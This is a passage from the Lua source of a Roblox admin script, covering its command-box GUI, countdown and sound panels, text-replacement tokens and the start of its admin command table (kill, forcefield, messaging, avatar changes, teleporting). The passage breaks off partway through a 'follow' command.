5084 local _,Rank = RANK:GetRank(Player)
5085 local UsableCommands = {}
5086 for CommandNames,Data in pairs(Commands) do
5087 if not Data.Hidden then
5088 if RANK:ConvertRank(Data[4]) <= Rank then
5089 for _,Command in pairs(CommandNames) do
5090 table.insert(UsableCommands, {Command, Data[3]})
5091 end
5092 end
5093 end
5094 end
5095
5096 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5097
5098 local function ExecuteText()
5099 local Text = CORE:ReadProperty(RPR, Player, "Text")
5100 CORE:Chatted(Text, Player, true)
5101 CommandBox.Text = "Enter a command here"
5102 end
5103
5104 local function AddSuggestion(Text)
5105 if Text == nil then Text = Settings.Prefix end
5106 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5107 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5108 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5109 if Text == Settings.Prefix then
5110 CommandBox.Text = Settings.Prefix
5111 else
5112 CommandBox.Text = Settings.Prefix..Text
5113 end
5114 CORE:ExecuteResource("Focus", CommandBox)
5115 end, true)
5116 end
5117
5118 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5119 if CommandBox.Text == "Enter a command here" then
5120 CommandBox.Text = ""
5121 end
5122 end)
5123
5124 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5125 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5126
5127 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5128 EnterPressed.OnServerInvoke = ExecuteText
5129
5130 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5131 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5132 Suggest:ClearAllChildren()
5133 local Text = CORE:ReadProperty(RPR, Player, "Text")
5134 if Text == "" then
5135 AddSuggestion(Settings.Prefix)
5136 end
5137
5138 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5139 Text = string.sub(Text,#Settings.Prefix+1)
5140 end
5141 for _,Data in pairs(UsableCommands) do
5142 local Command,Args = Data[1],Data[2]
5143 if string.find(string.lower(Command),string.lower(Text)) then
5144 local NewSuggestion = Command
5145 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5146 AddSuggestion(NewSuggestion)
5147 end
5148 end
5149
5150 end end)
5151end
5152
5153function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5154 if not Player or not AllSeconds then return nil end
5155 AllSeconds = tonumber(AllSeconds)
5156 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5157 AllSeconds = math.floor(AllSeconds)
5158 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5159 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5160 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5161 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5162 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5163 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5164
5165 local CurrentSeconds = AllSeconds
5166 local Alive = true
5167 coroutine.wrap(function() for i = 0,AllSeconds do
5168 if not Alive then break end
5169 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5170 local Minutes = tostring(math.floor(CurrentSeconds/60))
5171 if #Seconds == 1 then Seconds = "0"..Seconds end
5172 if #Minutes == 1 then Minutes = "0"..Minutes end
5173 Time.Text = Minutes..":"..Seconds
5174 wait(1)
5175 if CurrentSeconds <= 0 then
5176 Alarm:Play()
5177 Time.Text = "00:00"
5178 Part.Size = UDim2.new(1,0,1,0)
5179 Restore:Invoke()
5180 wait(4)
5181 Close:Invoke()
5182 break
5183 else
5184 Tick:Play()
5185 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5186 CurrentSeconds = CurrentSeconds - 1
5187 end
5188 end end)()
5189
5190 Closed.Event:connect(function()
5191 if Alive == true then
5192 Alive = false
5193 Tick:Stop()
5194 Alarm:Stop()
5195 end
5196 end)
5197end)() end
5198
5199function GUI:DetachChat(Player)
5200 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5201 if Player:FindFirstChild("DetachChatMML") then
5202 Player.DetachChatMML:Invoke(true)
5203 wait()
5204 Player.DetachChatMML:Destroy()
5205 end
5206
5207 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5208 local SG = Frame.Parent.Parent.Parent
5209
5210 local DCBF = Instance.new("BindableFunction", Player)
5211 DCBF.Name = "DetachChatMML"
5212 DCBF.OnInvoke = function(Remove)
5213 if Remove then
5214 SG:Destroy()
5215 end
5216 end
5217 CORE:ExecuteResource("CoreChat", SG)
5218
5219 local IsClosed = false
5220 Closed.Event:connect(function()
5221 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5222 IsClosed = true
5223 end)
5224
5225 coroutine.wrap(function()
5226 Player.CharacterRemoving:wait()
5227 if not IsClosed then
5228 IsClosed = true
5229 wait(1)
5230 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5231 end
5232 end)()
5233end
5234
5235function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5236 if not Player then return nil end
5237 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5238 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5239
5240 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5241end)() end
5242
5243function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5244 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5245 if not SoundID then SoundID = SoundInfo["ID"] end
5246 if not TitleText then TitleText = SoundInfo["Name"] end
5247 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5248 if not InputSound then InputSound = Sound end
5249
5250 local NumSounds = 0
5251 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5252 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5253 NumSounds = NumSounds + 1
5254 end
5255 end
5256
5257 local Size = UDim2.new(0.1, 100, 0.1, 100)
5258 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5259 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5260
5261 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5262 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5263 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5264 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5265 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5266 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5267 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5268
5269 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5270 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5271 if Sound then
5272 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5273 end
5274 if Time then
5275 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5276 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5277
5278 coroutine.wrap(function()
5279 local Alive = true
5280
5281 local function StopTimer() Alive = false end
5282 Closed.Event:connect(StopTimer)
5283 Minimized.Event:connect(StopTimer)
5284 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5285
5286 for i = Time,0,-1 do
5287 for ii = 1,10 do
5288 if Alive == true then
5289 Timer.Text = i
5290 wait(0.1)
5291 else
5292 break
5293 end
5294 end
5295 end
5296 if Alive == true then
5297 Close:Invoke()
5298 else
5299 Timer:Destroy()
5300 Stop:Destroy()
5301 end
5302 end)()
5303 end
5304end
5305
5306---- STRING REPLACEMENT OPERATIONS ----
5307
5308-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5309
5310-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5311
5312StringReplacements = {
5313 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5314 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5315 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5316 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5317 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5318 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5319 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5320 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5321 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5322 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5323
5324 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5325 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5326 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5327 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5328 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5329 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5330
5331 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5332 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5333 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5334 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5335 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5336 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5337 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5338 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5339 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5340 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5341 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5342 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5343 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5344 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5345 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5346 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5347}
5348
5349---- COMMANDS ----
5350
5351-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5352
5353Commands = { -- can't make local
5354 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5355 print("[MML's Admin]: Test message from "..Speaker.Name)
5356 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5357 end};
5358
5359 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5360 local Players = STRING:Scan(Arguments[1], Speaker)
5361 for _,Player in pairs(Players) do
5362 if Player.Character then
5363 Player.Character:BreakJoints()
5364 end
5365 end
5366 end};
5367
5368 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5369 local Players = STRING:Scan(Arguments[1], Speaker)
5370 for _,Player in pairs(Players) do
5371 if Player.Character then
5372 Instance.new("ForceField", Player.Character)
5373 end
5374 end
5375 end};
5376
5377 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5378 local Players = STRING:Scan(Arguments[1], Speaker)
5379 for _,Player in pairs(Players) do
5380 if Player.Character then
5381 for _,Get in pairs(Player.Character:GetChildren()) do
5382 if Get:IsA("ForceField") then
5383 Get:Destroy()
5384 end
5385 end
5386 end
5387 end
5388 end};
5389
5390 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5391 for _,Player in pairs(Server.Players:GetPlayers()) do
5392 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5393 end
5394 end};
5395
5396 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5397 for _,Player in pairs(Server.Players:GetPlayers()) do
5398 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5399 end
5400 end};
5401
5402 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5403 local Players = STRING:Scan(Arguments[1], Speaker)
5404 for _,Player in pairs(Players) do
5405 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5406 end
5407 end};
5408
5409 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5410 for _,Player in pairs(Server.Players:GetPlayers()) do
5411 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5412 end
5413 end};
5414
5415 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5416 local Players = STRING:Scan(Arguments[1], Speaker)
5417 for _,Player in pairs(Players) do
5418 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5419 end
5420 end};
5421
5422 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5423 local Players = STRING:Scan(Arguments[1], Speaker)
5424 local AgeList = {}
5425 for _,Player in pairs(Players) do
5426 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5427 end
5428 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5429 end};
5430
5431 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5432 local Players = STRING:Scan(Arguments[1], Speaker)
5433 local AgeList = {}
5434 for _,Player in pairs(Players) do
5435 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5436 end
5437 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5438 for _,Player in pairs(SecondPlayers) do
5439 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5440 end
5441 end};
5442
5443 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5444 local Storage = {{}, {}, {}, {}}
5445 local StorageText = {}
5446 local Formatted = {}
5447 for CommandNames,Data in pairs(Commands) do
5448 if not Data.Hidden then
5449 local RankNeeded = RANK:ConvertRank(Data[4])
5450 local Add = ""
5451 if Data[4] == "Non-Admin" then Add = "BLACK " end
5452 if Data[4] == "Admin" then Add = "CYAN " end
5453 if Data[4] == "Member" then Add = "BLUE " end
5454 if Data[4] == "Owner" then Add = "BROWN " end
5455 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5456 local AddBet = Settings.Bet
5457 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5458 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5459 table.insert(Storage[RankNeeded + 1], Add..Text)
5460 StorageText[Text] = CommandNames
5461 end
5462 end
5463 for Num,_ in pairs(Storage) do
5464 table.sort(Storage[Num])
5465 end
5466 for _,Table in pairs(Storage) do
5467 for _,Command in pairs(Table) do
5468 table.insert(Formatted, Command)
5469 end
5470 end
5471 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5472 Clicked.Event:connect(function(Text)
5473 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5474 end)
5475 end};
5476
5477 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5478 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5479 end};
5480
5481 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5482 if GUI:GetColor(Arguments[1]) then
5483 local ColorScheme = string.upper(Arguments[1])
5484 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5485 Settings.ColorScheme = ColorScheme
5486 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5487 else
5488 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5489 end
5490 end};
5491
5492 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5493 local List = {}
5494 for Color,_ in pairs(Colors) do
5495 table.insert(List, Color.." "..Color)
5496 end
5497 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5498 end};
5499
5500 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5501 local Transparency = tonumber(Arguments[1])
5502 if Transparency then
5503 if Transparency > 90 then Transparency = 90 end
5504 if Transparency < 10 then Transparency = 10 end
5505 Settings.TransparencyScheme = Transparency/100
5506
5507 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5508 else
5509 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5510 end
5511 end};
5512
5513 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5514 if Fonts[Arguments[1]] then
5515 Settings.Font = Arguments[1]
5516 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5517 end
5518 end};
5519
5520 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5521 Settings.Fun = not Settings.Fun
5522 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5523 end};
5524
5525 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5526 Settings.DisableAbuse = not Settings.DisableAbuse
5527 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5528 end};
5529
5530 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5531 local List = {}
5532 for Font,_ in pairs(Fonts) do
5533 if Font == Settings.Font then
5534 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5535 else
5536 table.insert(List, Font.." "..Font)
5537 end
5538 end
5539 GUI:ListGui(Speaker, "Font list", List, 44453197)
5540 end};
5541
5542 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5543 local SoundID = tonumber(Arguments[1])
5544 if SoundID then
5545 Settings.ExecuteNotificationSound = SoundID
5546
5547 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5548 else
5549 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5550 end
5551 end};
5552
5553 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5554 Settings.ExecuteNotificationSound = 0
5555 end};
5556
5557 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5558 local Players = STRING:Scan(Arguments[1], Speaker)
5559 for _,Player in pairs(Players) do
5560 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5561 end
5562 end};
5563
5564 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5565 local Players = STRING:Scan(Arguments[1], Speaker)
5566 for _,Player in pairs(Players) do
5567 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5568 end
5569 end};
5570
5571 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5572 local Players = STRING:Scan(Arguments[1], Speaker)
5573 for _,Player in pairs(Players) do
5574 coroutine.wrap(function()
5575 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5576 wait(1)
5577 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5578 end)()
5579 end
5580 end, Hidden = true};
5581
5582 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5583 local Players = STRING:Scan(Arguments[1], Speaker)
5584 for _,Player in pairs(Players) do
5585 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5586 end
5587 end};
5588
5589 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5590 local Players = STRING:Scan(Arguments[1], Speaker)
5591 for _,Player in pairs(Players) do
5592 CORE:ChangeName(Player, Arguments[2])
5593 end
5594 end};
5595
5596 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5597 local Players = STRING:Scan(Arguments[1], Speaker)
5598 for _,Player in pairs(Players) do
5599 if Player.Character then
5600 local Head = Player.Character:FindFirstChild("Label")
5601 if Head then Head:Destroy() end
5602 local Head = Player.Character:FindFirstChild("Head")
5603 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5604 end
5605 end
5606 end};
5607
5608 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5609 local Players = STRING:Scan(Arguments[1], Speaker)
5610 for _,Player in pairs(Players) do
5611 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5612 end
5613 end};
5614
5615 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5616 local Players = STRING:Scan(Arguments[1], Speaker)
5617 for _,Player in pairs(Players) do
5618 local _,RankNum = RANK:GetRank(Player)
5619 if RankNum <= RANK:ConvertRank(Rank) then
5620 Server.TS:Teleport(Arguments[2], Player)
5621 end
5622 end
5623 end};
5624
5625 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5626 local Players = STRING:Scan(Arguments[1], Speaker)
5627 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5628 if Suc then
5629 for _,Player in pairs(Players) do
5630 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5631 end
5632 else
5633 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5634 end
5635 end};
5636
5637 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5638 local Players = STRING:Scan(Arguments[1], Speaker)
5639 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
